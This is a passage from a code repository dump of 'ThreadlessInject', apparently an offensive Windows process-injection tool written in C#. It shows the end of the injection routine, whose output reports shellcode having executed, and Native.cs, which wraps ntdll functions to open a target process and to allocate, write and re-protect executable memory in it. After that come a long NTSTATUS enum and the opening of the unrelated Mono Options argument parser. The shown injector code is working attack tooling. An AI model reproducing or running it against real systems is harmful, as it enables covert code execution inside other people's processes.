351 | Console.WriteLine($"[+] Shellcode executed after {timer.Elapsed.TotalSeconds}s, export restored");
352 | }
353 | else
354 | {
355 | Console.WriteLine("[!] Shellcode did not trigger within 60s, it may still execute but we are not cleaning up");
356 | }
357 |
358 | CloseHandle(hProcess);
359 | }
360 | }
--------------------------------------------------------------------------------
/ThreadlessInject/Native.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace ThreadlessInject;
5 |
6 | public static class Native
7 | {
8 | public static IntPtr LoadLibrary(string path)
9 | {
10 | var us = new UNICODE_STRING();
11 | RtlInitUnicodeString(ref us, path);
12 |
13 | var hModule = IntPtr.Zero;
14 |
15 | var status = LdrLoadDll(
16 | IntPtr.Zero,
17 | 0,
18 | ref us,
19 | ref hModule);
20 |
21 | return hModule;
22 | }
23 |
24 | public static NTSTATUS OpenProcess(int pid, out IntPtr hProcess)
25 | {
26 | hProcess = IntPtr.Zero;
27 | var oa = new ObjectAttributes();
28 | var cid = new ClientId { UniqueProcess = (IntPtr)pid };
29 |
30 | return NtOpenProcess(
31 | ref hProcess,
32 | Win32.ProcessAccess.VmOperation | Win32.ProcessAccess.VmRead | Win32.ProcessAccess.VmWrite,
33 | ref oa,
34 | ref cid);
35 | }
36 |
37 | public static NTSTATUS AllocateVirtualMemory(IntPtr hProcess, ulong address, int size)
38 | {
39 | var baseAddress = (IntPtr)address;
40 | var regionSize = (IntPtr)size;
41 | return NtAllocateVirtualMemory(
42 | hProcess,
43 | ref baseAddress,
44 | IntPtr.Zero,
45 | ref regionSize,
46 | Win32.MemoryAllocation.Commit | Win32.MemoryAllocation.Reserve,
47 | Win32.MemoryProtection.ExecuteRead);
48 | }
49 |
50 | public static NTSTATUS ProtectVirtualMemory(IntPtr hProcess, IntPtr address, uint size, Win32.MemoryProtection newProtection,
51 | out Win32.MemoryProtection oldProtection)
52 | {
53 | var regionSize = new UIntPtr(size);
54 |
55 | return NtProtectVirtualMemory(
56 | hProcess,
57 | ref address,
58 | ref regionSize,
59 | newProtection,
60 | out oldProtection);
61 | }
62 |
63 | public static NTSTATUS WriteVirtualMemory(IntPtr hProcess, IntPtr address, byte[] buffer, out uint bytesWritten)
64 | {
65 | var buf = Marshal.AllocHGlobal(buffer.Length);
66 | Marshal.Copy(buffer, 0, buf, buffer.Length);
67 |
68 | bytesWritten = 0;
69 |
70 | var status = NtWriteVirtualMemory(
71 | hProcess,
72 | address,
73 | buf,
74 | (uint)buffer.Length,
75 | ref bytesWritten);
76 |
77 | Marshal.FreeHGlobal(buf);
78 |
79 | return status;
80 | }
81 |
82 | public static NTSTATUS ReadVirtualMemory(IntPtr hProcess, IntPtr address, IntPtr buffer, uint bytesToRead,
83 | out uint bytesRead)
84 | {
85 | uint read = 0;
86 | var status = NtReadVirtualMemory(
87 | hProcess,
88 | address,
89 | buffer,
90 | bytesToRead,
91 | ref read);
92 |
93 | bytesRead = read;
94 | return status;
95 | }
96 |
97 | public static NTSTATUS FreeVirtualMemory(IntPtr hProcess, IntPtr address)
98 | {
99 | var regionSize = (UIntPtr)0;
100 | return NtFreeVirtualMemory(
101 | hProcess,
102 | ref address,
103 | ref regionSize,
104 | Win32.MemoryAllocation.Release);
105 | }
106 |
107 | [DllImport("ntdll.dll")]
108 | private static extern void RtlInitUnicodeString(
109 | ref UNICODE_STRING destinationString,
110 | [MarshalAs(UnmanagedType.LPWStr)] string sourceString);
111 |
112 | [DllImport("ntdll.dll")]
113 | private static extern NTSTATUS LdrLoadDll(
114 | IntPtr filePath,
115 | uint dwFlags,
116 | ref UNICODE_STRING moduleFileName,
117 | ref IntPtr moduleHandle);
118 |
119 | [DllImport("ntdll.dll")]
120 | private static extern NTSTATUS NtOpenProcess(
121 | ref IntPtr processHandle,
122 | Win32.ProcessAccess desiredAccess,
123 | ref ObjectAttributes objectAttributes,
124 | ref ClientId clientId);
125 |
126 | [DllImport("ntdll.dll")]
127 | private static extern NTSTATUS NtAllocateVirtualMemory(
128 | IntPtr processHandle,
129 | ref IntPtr baseAddress,
130 | IntPtr zeroBits,
131 | ref IntPtr regionSize,
132 | Win32.MemoryAllocation allocationType,
133 | Win32.MemoryProtection memoryProtection);
134 |
135 | [DllImport("ntdll.dll")]
136 | private static extern NTSTATUS NtProtectVirtualMemory(
137 | IntPtr processHandle,
138 | ref IntPtr baseAddress,
139 | ref UIntPtr regionSize,
140 | Win32.MemoryProtection newProtect,
141 | out Win32.MemoryProtection oldProtect);
142 |
143 | [DllImport("ntdll.dll")]
144 | private static extern NTSTATUS NtReadVirtualMemory(
145 | IntPtr processHandle,
146 | IntPtr baseAddress,
147 | IntPtr buffer,
148 | uint bytesToRead,
149 | ref uint bytesRead);
150 |
151 | [DllImport("ntdll.dll")]
152 | private static extern NTSTATUS NtWriteVirtualMemory(
153 | IntPtr processHandle,
154 | IntPtr baseAddress,
155 | IntPtr buffer,
156 | uint bufferLength,
157 | ref uint bytesWritten);
158 |
159 | [DllImport("ntdll.dll")]
160 | private static extern NTSTATUS NtFreeVirtualMemory(
161 | IntPtr processHandle,
162 | ref IntPtr baseAddress,
163 | ref UIntPtr regionSize,
164 | Win32.MemoryAllocation freeType);
165 |
166 | [StructLayout(LayoutKind.Sequential)]
167 | private struct ObjectAttributes
168 | {
169 | public int Length;
170 | public IntPtr RootDirectory;
171 | public IntPtr ObjectName;
172 | public uint Attributes;
173 | public IntPtr SecurityDescriptor;
174 | public IntPtr SecurityQualityOfService;
175 | }
176 |
177 | [StructLayout(LayoutKind.Sequential)]
178 | private struct ClientId
179 | {
180 | public IntPtr UniqueProcess;
181 | public IntPtr UniqueThread;
182 | }
183 |
184 | [StructLayout(LayoutKind.Sequential)]
185 | private struct UNICODE_STRING
186 | {
187 | public UInt16 Length;
188 | public UInt16 MaximumLength;
189 | public IntPtr Buffer;
190 | }
191 |
192 | public enum NTSTATUS : uint
193 | {
194 | // Success
195 | Success = 0x00000000,
196 | Wait1 = 0x00000001,
197 | Wait2 = 0x00000002,
198 | Wait3 = 0x00000003,
199 | Wait63 = 0x0000003f,
200 | Abandoned = 0x00000080,
201 | AbandonedWait0 = 0x00000080,
202 | AbandonedWait1 = 0x00000081,
203 | AbandonedWait2 = 0x00000082,
204 | AbandonedWait3 = 0x00000083,
205 | AbandonedWait63 = 0x000000bf,
206 | UserApc = 0x000000c0,
207 | KernelApc = 0x00000100,
208 | Alerted = 0x00000101,
209 | Timeout = 0x00000102,
210 | Pending = 0x00000103,
211 | Reparse = 0x00000104,
212 | MoreEntries = 0x00000105,
213 | NotAllAssigned = 0x00000106,
214 | SomeNotMapped = 0x00000107,
215 | OpLockBreakInProgress = 0x00000108,
216 | VolumeMounted = 0x00000109,
217 | RxActCommitted = 0x0000010a,
218 | NotifyCleanup = 0x0000010b,
219 | NotifyEnumDir = 0x0000010c,
220 | NoQuotasForAccount = 0x0000010d,
221 | PrimaryTransportConnectFailed = 0x0000010e,
222 | PageFaultTransition = 0x00000110,
223 | PageFaultDemandZero = 0x00000111,
224 | PageFaultCopyOnWrite = 0x00000112,
225 | PageFaultGuardPage = 0x00000113,
226 | PageFaultPagingFile = 0x00000114,
227 | CrashDump = 0x00000116,
228 | ReparseObject = 0x00000118,
229 | NothingToTerminate = 0x00000122,
230 | ProcessNotInJob = 0x00000123,
231 | ProcessInJob = 0x00000124,
232 | ProcessCloned = 0x00000129,
233 | FileLockedWithOnlyReaders = 0x0000012a,
234 | FileLockedWithWriters = 0x0000012b,
235 |
236 | // Informational
237 | Informational = 0x40000000,
238 | ObjectNameExists = 0x40000000,
239 | ThreadWasSuspended = 0x40000001,
240 | WorkingSetLimitRange = 0x40000002,
241 | ImageNotAtBase = 0x40000003,
242 | RegistryRecovered = 0x40000009,
243 |
244 | // Warning
245 | Warning = 0x80000000,
246 | GuardPageViolation = 0x80000001,
247 | DatatypeMisalignment = 0x80000002,
248 | Breakpoint = 0x80000003,
249 | SingleStep = 0x80000004,
250 | BufferOverflow = 0x80000005,
251 | NoMoreFiles = 0x80000006,
252 | HandlesClosed = 0x8000000a,
253 | PartialCopy = 0x8000000d,
254 | DeviceBusy = 0x80000011,
255 | InvalidEaName = 0x80000013,
256 | EaListInconsistent = 0x80000014,
257 | NoMoreEntries = 0x8000001a,
258 | LongJump = 0x80000026,
259 | DllMightBeInsecure = 0x8000002b,
260 |
261 | // Error
262 | Error = 0xc0000000,
263 | Unsuccessful = 0xc0000001,
264 | NotImplemented = 0xc0000002,
265 | InvalidInfoClass = 0xc0000003,
266 | InfoLengthMismatch = 0xc0000004,
267 | AccessViolation = 0xc0000005,
268 | InPageError = 0xc0000006,
269 | PagefileQuota = 0xc0000007,
270 | InvalidHandle = 0xc0000008,
271 | BadInitialStack = 0xc0000009,
272 | BadInitialPc = 0xc000000a,
273 | InvalidCid = 0xc000000b,
274 | TimerNotCanceled = 0xc000000c,
275 | InvalidParameter = 0xc000000d,
276 | NoSuchDevice = 0xc000000e,
277 | NoSuchFile = 0xc000000f,
278 | InvalidDeviceRequest = 0xc0000010,
279 | EndOfFile = 0xc0000011,
280 | WrongVolume = 0xc0000012,
281 | NoMediaInDevice = 0xc0000013,
282 | NoMemory = 0xc0000017,
283 | ConflictingAddresses = 0xc0000018,
284 | NotMappedView = 0xc0000019,
285 | UnableToFreeVm = 0xc000001a,
286 | UnableToDeleteSection = 0xc000001b,
287 | IllegalInstruction = 0xc000001d,
288 | AlreadyCommitted = 0xc0000021,
289 | AccessDenied = 0xc0000022,
290 | BufferTooSmall = 0xc0000023,
291 | ObjectTypeMismatch = 0xc0000024,
292 | NonContinuableException = 0xc0000025,
293 | BadStack = 0xc0000028,
294 | NotLocked = 0xc000002a,
295 | NotCommitted = 0xc000002d,
296 | InvalidParameterMix = 0xc0000030,
297 | ObjectNameInvalid = 0xc0000033,
298 | ObjectNameNotFound = 0xc0000034,
299 | ObjectNameCollision = 0xc0000035,
300 | ObjectPathInvalid = 0xc0000039,
301 | ObjectPathNotFound = 0xc000003a,
302 | ObjectPathSyntaxBad = 0xc000003b,
303 | DataOverrun = 0xc000003c,
304 | DataLate = 0xc000003d,
305 | DataError = 0xc000003e,
306 | CrcError = 0xc000003f,
307 | SectionTooBig = 0xc0000040,
308 | PortConnectionRefused = 0xc0000041,
309 | InvalidPortHandle = 0xc0000042,
310 | SharingViolation = 0xc0000043,
311 | QuotaExceeded = 0xc0000044,
312 | InvalidPageProtection = 0xc0000045,
313 | MutantNotOwned = 0xc0000046,
314 | SemaphoreLimitExceeded = 0xc0000047,
315 | PortAlreadySet = 0xc0000048,
316 | SectionNotImage = 0xc0000049,
317 | SuspendCountExceeded = 0xc000004a,
318 | ThreadIsTerminating = 0xc000004b,
319 | BadWorkingSetLimit = 0xc000004c,
320 | IncompatibleFileMap = 0xc000004d,
321 | SectionProtection = 0xc000004e,
322 | EasNotSupported = 0xc000004f,
323 | EaTooLarge = 0xc0000050,
324 | NonExistentEaEntry = 0xc0000051,
325 | NoEasOnFile = 0xc0000052,
326 | EaCorruptError = 0xc0000053,
327 | FileLockConflict = 0xc0000054,
328 | LockNotGranted = 0xc0000055,
329 | DeletePending = 0xc0000056,
330 | CtlFileNotSupported = 0xc0000057,
331 | UnknownRevision = 0xc0000058,
332 | RevisionMismatch = 0xc0000059,
333 | InvalidOwner = 0xc000005a,
334 | InvalidPrimaryGroup = 0xc000005b,
335 | NoImpersonationToken = 0xc000005c,
336 | CantDisableMandatory = 0xc000005d,
337 | NoLogonServers = 0xc000005e,
338 | NoSuchLogonSession = 0xc000005f,
339 | NoSuchPrivilege = 0xc0000060,
340 | PrivilegeNotHeld = 0xc0000061,
341 | InvalidAccountName = 0xc0000062,
342 | UserExists = 0xc0000063,
343 | NoSuchUser = 0xc0000064,
344 | GroupExists = 0xc0000065,
345 | NoSuchGroup = 0xc0000066,
346 | MemberInGroup = 0xc0000067,
347 | MemberNotInGroup = 0xc0000068,
348 | LastAdmin = 0xc0000069,
349 | WrongPassword = 0xc000006a,
350 | IllFormedPassword = 0xc000006b,
351 | PasswordRestriction = 0xc000006c,
352 | LogonFailure = 0xc000006d,
353 | AccountRestriction = 0xc000006e,
354 | InvalidLogonHours = 0xc000006f,
355 | InvalidWorkstation = 0xc0000070,
356 | PasswordExpired = 0xc0000071,
357 | AccountDisabled = 0xc0000072,
358 | NoneMapped = 0xc0000073,
359 | TooManyLuidsRequested = 0xc0000074,
360 | LuidsExhausted = 0xc0000075,
361 | InvalidSubAuthority = 0xc0000076,
362 | InvalidAcl = 0xc0000077,
363 | InvalidSid = 0xc0000078,
364 | InvalidSecurityDescr = 0xc0000079,
365 | ProcedureNotFound = 0xc000007a,
366 | InvalidImageFormat = 0xc000007b,
367 | NoToken = 0xc000007c,
368 | BadInheritanceAcl = 0xc000007d,
369 | RangeNotLocked = 0xc000007e,
370 | DiskFull = 0xc000007f,
371 | ServerDisabled = 0xc0000080,
372 | ServerNotDisabled = 0xc0000081,
373 | TooManyGuidsRequested = 0xc0000082,
374 | GuidsExhausted = 0xc0000083,
375 | InvalidIdAuthority = 0xc0000084,
376 | AgentsExhausted = 0xc0000085,
377 | InvalidVolumeLabel = 0xc0000086,
378 | SectionNotExtended = 0xc0000087,
379 | NotMappedData = 0xc0000088,
380 | ResourceDataNotFound = 0xc0000089,
381 | ResourceTypeNotFound = 0xc000008a,
382 | ResourceNameNotFound = 0xc000008b,
383 | ArrayBoundsExceeded = 0xc000008c,
384 | FloatDenormalOperand = 0xc000008d,
385 | FloatDivideByZero = 0xc000008e,
386 | FloatInexactResult = 0xc000008f,
387 | FloatInvalidOperation = 0xc0000090,
388 | FloatOverflow = 0xc0000091,
389 | FloatStackCheck = 0xc0000092,
390 | FloatUnderflow = 0xc0000093,
391 | IntegerDivideByZero = 0xc0000094,
392 | IntegerOverflow = 0xc0000095,
393 | PrivilegedInstruction = 0xc0000096,
394 | TooManyPagingFiles = 0xc0000097,
395 | FileInvalid = 0xc0000098,
396 | InsufficientResources = 0xc000009a,
397 | InstanceNotAvailable = 0xc00000ab,
398 | PipeNotAvailable = 0xc00000ac,
399 | InvalidPipeState = 0xc00000ad,
400 | PipeBusy = 0xc00000ae,
401 | IllegalFunction = 0xc00000af,
402 | PipeDisconnected = 0xc00000b0,
403 | PipeClosing = 0xc00000b1,
404 | PipeConnected = 0xc00000b2,
405 | PipeListening = 0xc00000b3,
406 | InvalidReadMode = 0xc00000b4,
407 | IoTimeout = 0xc00000b5,
408 | FileForcedClosed = 0xc00000b6,
409 | ProfilingNotStarted = 0xc00000b7,
410 | ProfilingNotStopped = 0xc00000b8,
411 | NotSameDevice = 0xc00000d4,
412 | FileRenamed = 0xc00000d5,
413 | CantWait = 0xc00000d8,
414 | PipeEmpty = 0xc00000d9,
415 | CantTerminateSelf = 0xc00000db,
416 | InternalError = 0xc00000e5,
417 | InvalidParameter1 = 0xc00000ef,
418 | InvalidParameter2 = 0xc00000f0,
419 | InvalidParameter3 = 0xc00000f1,
420 | InvalidParameter4 = 0xc00000f2,
421 | InvalidParameter5 = 0xc00000f3,
422 | InvalidParameter6 = 0xc00000f4,
423 | InvalidParameter7 = 0xc00000f5,
424 | InvalidParameter8 = 0xc00000f6,
425 | InvalidParameter9 = 0xc00000f7,
426 | InvalidParameter10 = 0xc00000f8,
427 | InvalidParameter11 = 0xc00000f9,
428 | InvalidParameter12 = 0xc00000fa,
429 | ProcessIsTerminating = 0xc000010a,
430 | MappedFileSizeZero = 0xc000011e,
431 | TooManyOpenedFiles = 0xc000011f,
432 | Cancelled = 0xc0000120,
433 | CannotDelete = 0xc0000121,
434 | InvalidComputerName = 0xc0000122,
435 | FileDeleted = 0xc0000123,
436 | SpecialAccount = 0xc0000124,
437 | SpecialGroup = 0xc0000125,
438 | SpecialUser = 0xc0000126,
439 | MembersPrimaryGroup = 0xc0000127,
440 | FileClosed = 0xc0000128,
441 | TooManyThreads = 0xc0000129,
442 | ThreadNotInProcess = 0xc000012a,
443 | TokenAlreadyInUse = 0xc000012b,
444 | PagefileQuotaExceeded = 0xc000012c,
445 | CommitmentLimit = 0xc000012d,
446 | InvalidImageLeFormat = 0xc000012e,
447 | InvalidImageNotMz = 0xc000012f,
448 | InvalidImageProtect = 0xc0000130,
449 | InvalidImageWin16 = 0xc0000131,
450 | LogonServer = 0xc0000132,
451 | DifferenceAtDc = 0xc0000133,
452 | SynchronizationRequired = 0xc0000134,
453 | DllNotFound = 0xc0000135,
454 | IoPrivilegeFailed = 0xc0000137,
455 | OrdinalNotFound = 0xc0000138,
456 | EntryPointNotFound = 0xc0000139,
457 | ControlCExit = 0xc000013a,
458 | InvalidAddress = 0xc0000141,
459 | PortNotSet = 0xc0000353,
460 | DebuggerInactive = 0xc0000354,
461 | CallbackBypass = 0xc0000503,
462 | PortClosed = 0xc0000700,
463 | MessageLost = 0xc0000701,
464 | InvalidMessage = 0xc0000702,
465 | RequestCanceled = 0xc0000703,
466 | RecursiveDispatch = 0xc0000704,
467 | LpcReceiveBufferExpected = 0xc0000705,
468 | LpcInvalidConnectionUsage = 0xc0000706,
469 | LpcRequestsNotAllowed = 0xc0000707,
470 | ResourceInUse = 0xc0000708,
471 | ProcessIsProtected = 0xc0000712,
472 | VolumeDirty = 0xc0000806,
473 | FileCheckedOut = 0xc0000901,
474 | CheckOutRequired = 0xc0000902,
475 | BadFileType = 0xc0000903,
476 | FileTooLarge = 0xc0000904,
477 | FormsAuthRequired = 0xc0000905,
478 | VirusInfected = 0xc0000906,
479 | VirusDeleted = 0xc0000907,
480 | TransactionalConflict = 0xc0190001,
481 | InvalidTransaction = 0xc0190002,
482 | TransactionNotActive = 0xc0190003,
483 | TmInitializationFailed = 0xc0190004,
484 | RmNotActive = 0xc0190005,
485 | RmMetadataCorrupt = 0xc0190006,
486 | TransactionNotJoined = 0xc0190007,
487 | DirectoryNotRm = 0xc0190008,
488 | CouldNotResizeLog = 0xc0190009,
489 | TransactionsUnsupportedRemote = 0xc019000a,
490 | LogResizeInvalidSize = 0xc019000b,
491 | RemoteFileVersionMismatch = 0xc019000c,
492 | CrmProtocolAlreadyExists = 0xc019000f,
493 | TransactionPropagationFailed = 0xc0190010,
494 | CrmProtocolNotFound = 0xc0190011,
495 | TransactionSuperiorExists = 0xc0190012,
496 | TransactionRequestNotValid = 0xc0190013,
497 | TransactionNotRequested = 0xc0190014,
498 | TransactionAlreadyAborted = 0xc0190015,
499 | TransactionAlreadyCommitted = 0xc0190016,
500 | TransactionInvalidMarshallBuffer = 0xc0190017,
501 | CurrentTransactionNotValid = 0xc0190018,
502 | LogGrowthFailed = 0xc0190019,
503 | ObjectNoLongerExists = 0xc0190021,
504 | StreamMiniversionNotFound = 0xc0190022,
505 | StreamMiniversionNotValid = 0xc0190023,
506 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
507 | CantOpenMiniversionWithModifyIntent = 0xc0190025,
508 | CantCreateMoreStreamMiniversions = 0xc0190026,
509 | HandleNoLongerValid = 0xc0190028,
510 | NoTxfMetadata = 0xc0190029,
511 | LogCorruptionDetected = 0xc0190030,
512 | CantRecoverWithHandleOpen = 0xc0190031,
513 | RmDisconnected = 0xc0190032,
514 | EnlistmentNotSuperior = 0xc0190033,
515 | RecoveryNotNeeded = 0xc0190034,
516 | RmAlreadyStarted = 0xc0190035,
517 | FileIdentityNotPersistent = 0xc0190036,
518 | CantBreakTransactionalDependency = 0xc0190037,
519 | CantCrossRmBoundary = 0xc0190038,
520 | TxfDirNotEmpty = 0xc0190039,
521 | IndoubtTransactionsExist = 0xc019003a,
522 | TmVolatile = 0xc019003b,
523 | RollbackTimerExpired = 0xc019003c,
524 | TxfAttributeCorrupt = 0xc019003d,
525 | EfsNotAllowedInTransaction = 0xc019003e,
526 | TransactionalOpenNotAllowed = 0xc019003f,
527 | TransactedMappingUnsupportedRemote = 0xc0190040,
528 | TxfMetadataAlreadyPresent = 0xc0190041,
529 | TransactionScopeCallbacksNotSet = 0xc0190042,
530 | TransactionRequiredPromotion = 0xc0190043,
531 | CannotExecuteFileInTransaction = 0xc0190044,
532 | TransactionsNotFrozen = 0xc0190045,
533 |
534 | MaximumNtStatus = 0xffffffff
535 | }
536 | }
--------------------------------------------------------------------------------
/ThreadlessInject/Options.cs:
--------------------------------------------------------------------------------
1 | //
2 | // Options.cs
3 | //
4 | // Authors:
5 | // Jonathan Pryor ,
6 | // Federico Di Gregorio
7 | // Rolf Bjarne Kvinge
8 | //
9 | // Copyright (C) 2008 Novell (http://www.novell.com)
10 | // Copyright (C) 2009 Federico Di Gregorio.
11 | // Copyright (C) 2012 Xamarin Inc (http://www.xamarin.com)
12 | // Copyright (C) 2017 Microsoft Corporation (http://www.microsoft.com)
13 | //
14 | // Permission is hereby granted, free of charge, to any person obtaining
15 | // a copy of this software and associated documentation files (the
16 | // "Software"), to deal in the Software without restriction, including
17 | // without limitation the rights to use, copy, modify, merge, publish,
18 | // distribute, sublicense, and/or sell copies of the Software, and to
19 | // permit persons to whom the Software is furnished to do so, subject to
20 | // the following conditions:
21 | //
22 | // The above copyright notice and this permission notice shall be
23 | // included in all copies or substantial portions of the Software.
24 | //
25 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
26 | // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
27 | // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
28 | // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
29 | // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
30 | // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
31 | // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
32 | //
33 |
34 | // Compile With:
35 | // mcs -debug+ -r:System.Core Options.cs -o:Mono.Options.dll -t:library
36 | // mcs -debug+ -d:LINQ -r:System.Core Options.cs -o:Mono.Options.dll -t:library
37 | //
38 | // The LINQ version just changes the implementation of
39 | // OptionSet.Parse(IEnumerable), and confers no semantic changes.
40 |
41 | //
42 | // A Getopt::Long-inspired option parsing library for C#.
43 | //
44 | // Mono.Options.OptionSet is built upon a key/value table, where the
45 | // key is a option format string and the value is a delegate that is
46 | // invoked when the format string is matched.
47 | //
48 | // Option format strings:
49 | // Regex-like BNF Grammar:
50 | // name: .+
51 | // type: [=:]
52 | // sep: ( [^{}]+ | '{' .+ '}' )?
53 | // aliases: ( name type sep ) ( '|' name type sep )*
54 | //
55 | // Each '|'-delimited name is an alias for the associated action. If the
56 | // format string ends in a '=', it has a required value. If the format
57 | // string ends in a ':', it has an optional value. If neither '=' or ':'
58 | // is present, no value is supported. `=' or `:' need only be defined on one
59 | // alias, but if they are provided on more than one they must be consistent.
60 | //
61 | // Each alias portion may also end with a "key/value separator", which is used
62 | // to split option values if the option accepts > 1 value. If not specified,
63 | // it defaults to '=' and ':'. If specified, it can be any character except
64 | // '{' and '}' OR the *string* between '{' and '}'. If no separator should be
65 | // used (i.e. the separate values should be distinct arguments), then "{}"
66 | // should be used as the separator.
67 | //
68 | // Options are extracted either from the current option by looking for
69 | // the option name followed by an '=' or ':', or is taken from the
70 | // following option IFF:
71 | // - The current option does not contain a '=' or a ':'
72 | // - The current option requires a value (i.e. not a Option type of ':')
73 | //
74 | // The `name' used in the option format string does NOT include any leading
75 | // option indicator, such as '-', '--', or '/'. All three of these are
76 | // permitted/required on any named option.
77 | //
78 | // Option bundling is permitted so long as:
79 | // - '-' is used to start the option group
80 | // - all of the bundled options are a single character
81 | // - at most one of the bundled options accepts a value, and the value
82 | // provided starts from the next character to the end of the string.
83 | //
84 | // This allows specifying '-a -b -c' as '-abc', and specifying '-D name=value'
85 | // as '-Dname=value'.
86 | //
87 | // Option processing is disabled by specifying "--". All options after "--"
88 | // are returned by OptionSet.Parse() unchanged and unprocessed.
89 | //
90 | // Unprocessed options are returned from OptionSet.Parse().
91 | //
92 | // Examples:
93 | // int verbose = 0;
94 | // OptionSet p = new OptionSet ()
95 | // .Add ("v", v => ++verbose)
96 | // .Add ("name=|value=", v => Console.WriteLine (v));
97 | // p.Parse (new string[]{"-v", "--v", "/v", "-name=A", "/name", "B", "extra"});
98 | //
99 | // The above would parse the argument string array, and would invoke the
100 | // lambda expression three times, setting `verbose' to 3 when complete.
101 | // It would also print out "A" and "B" to standard output.
102 | // The returned array would contain the string "extra".
103 | //
104 | // C# 3.0 collection initializers are supported and encouraged:
105 | // var p = new OptionSet () {
106 | // { "h|?|help", v => ShowHelp () },
107 | // };
108 | //
109 | // System.ComponentModel.TypeConverter is also supported, allowing the use of
110 | // custom data types in the callback type; TypeConverter.ConvertFromString()
111 | // is used to convert the value option to an instance of the specified
112 | // type:
113 | //
114 | // var p = new OptionSet () {
115 | // { "foo=", (Foo f) => Console.WriteLine (f.ToString ()) },
116 | // };
117 | //
118 | // Random other tidbits:
119 | // - Boolean options (those w/o '=' or ':' in the option format string)
120 | // are explicitly enabled if they are followed with '+', and explicitly
121 | // disabled if they are followed with '-':
122 | // string a = null;
123 | // var p = new OptionSet () {
124 | // { "a", s => a = s },
125 | // };
126 | // p.Parse (new string[]{"-a"}); // sets v != null
127 | // p.Parse (new string[]{"-a+"}); // sets v != null
128 | // p.Parse (new string[]{"-a-"}); // sets v == null
129 | //
130 |
131 | //
132 | // Mono.Options.CommandSet allows easily having separate commands and
133 | // associated command options, allowing creation of a *suite* along the
134 | // lines of **git**(1), **svn**(1), etc.
135 | //
136 | // CommandSet allows intermixing plain text strings for `--help` output,
137 | // Option values -- as supported by OptionSet -- and Command instances,
138 | // which have a name, optional help text, and an optional OptionSet.
139 | //
140 | // var suite = new CommandSet ("suite-name") {
141 | // // Use strings and option values, as with OptionSet
142 | // "usage: suite-name COMMAND [OPTIONS]+",
143 | // { "v:", "verbosity", (int? v) => Verbosity = v.HasValue ? v.Value : Verbosity+1 },
144 | // // Commands may also be specified
145 | // new Command ("command-name", "command help") {
146 | // Options = new OptionSet {/*...*/},
147 | // Run = args => { /*...*/},
148 | // },
149 | // new MyCommandSubclass (),
150 | // };
151 | // return suite.Run (new string[]{...});
152 | //
153 | // CommandSet provides a `help` command, and forwards `help COMMAND`
154 | // to the registered Command instance by invoking Command.Invoke()
155 | // with `--help` as an option.
156 | //
157 |
158 | using System;
159 | using System.Collections;
160 | using System.Collections.Generic;
161 | using System.Collections.ObjectModel;
162 | using System.ComponentModel;
163 | using System.Globalization;
164 | using System.IO;
165 | #if PCL
166 | using System.Reflection;
167 | #else
168 | using System.Runtime.Serialization;
169 | using System.Security.Permissions;
170 | #endif
171 | using System.Text;
172 | using System.Text.RegularExpressions;
173 |
174 | #if LINQ
175 | using System.Linq;
176 | #endif
177 |
178 | #if TEST
179 | using NDesk.Options;
180 | #endif
181 |
182 | #if PCL
183 | using MessageLocalizerConverter = System.Func;
184 | #else
185 | using MessageLocalizerConverter = System.Converter;
186 | #endif
187 |
188 | #if NDESK_OPTIONS
189 | namespace NDesk.Options
190 | #else
191 | namespace Mono.Options
192 | #endif
193 | {
194 | static class StringCoda {
195 |
196 | public static IEnumerable WrappedLines(string self, params int[] widths) {
197 | IEnumerable w = widths;
198 | return WrappedLines(self, w);
199 | }
200 |
201 | public static IEnumerable WrappedLines(string self, IEnumerable widths) {
202 | if (widths == null)
203 | throw new ArgumentNullException("widths");
204 | return CreateWrappedLinesIterator(self, widths);
205 | }
206 |
207 | private static IEnumerable CreateWrappedLinesIterator(string self, IEnumerable widths) {
208 | if (string.IsNullOrEmpty(self)) {
209 | yield return string.Empty;
210 | yield break;
211 | }
212 | using (IEnumerator ewidths = widths.GetEnumerator()) {
213 | bool? hw = null;
214 | int width = GetNextWidth(ewidths, int.MaxValue, ref hw);
215 | int start = 0, end;
216 | do {
217 | end = GetLineEnd(start, width, self);
218 | // endCorrection is 1 if the line end is '\n', and might be 2 if the line end is '\r\n'.
219 | int endCorrection = 1;
220 | if (end >= 2 && self.Substring(end - 2, 2).Equals("\r\n"))
221 | endCorrection = 2;
222 | char c = self[end - endCorrection];
223 | if (char.IsWhiteSpace(c))
224 | end -= endCorrection;
225 | bool needContinuation = end != self.Length && !IsEolChar(c);
226 | string continuation = "";
227 | if (needContinuation) {
228 | --end;
229 | continuation = "-";
230 | }
231 | string line = self.Substring(start, end - start) + continuation;
232 | yield return line;
233 | start = end;
234 | if (char.IsWhiteSpace(c))
235 | start += endCorrection;
236 | width = GetNextWidth(ewidths, width, ref hw);
237 | } while (start < self.Length);
238 | }
239 | }
240 |
241 | private static int GetNextWidth(IEnumerator ewidths, int curWidth, ref bool? eValid) {
242 | if (!eValid.HasValue || (eValid.HasValue && eValid.Value)) {
243 | curWidth = (eValid = ewidths.MoveNext()).Value ? ewidths.Current : curWidth;
244 | // '.' is any character, - is for a continuation
245 | const string minWidth = ".-";
246 | if (curWidth < minWidth.Length)
247 | throw new ArgumentOutOfRangeException("widths",
248 | string.Format("Element must be >= {0}, was {1}.", minWidth.Length, curWidth));
249 | return curWidth;
250 | }
251 | // no more elements, use the last element.
252 | return curWidth;
253 | }
254 |
255 | private static bool IsEolChar(char c) {
256 | return !char.IsLetterOrDigit(c);
257 | }
258 |
259 | private static int GetLineEnd(int start, int length, string description) {
260 | int end = System.Math.Min(start + length, description.Length);
261 | int sep = -1;
262 | for (int i = start; i < end; ++i) {
263 | if (i + 2 <= description.Length && description.Substring(i, 2).Equals("\r\n"))
264 | return i + 2;
265 | if (description[i] == '\n')
266 | return i + 1;
267 | if (IsEolChar(description[i]))
268 | sep = i + 1;
269 | }
270 | if (sep == -1 || end == description.Length)
271 | return end;
272 | return sep;
273 | }
274 | }
275 |
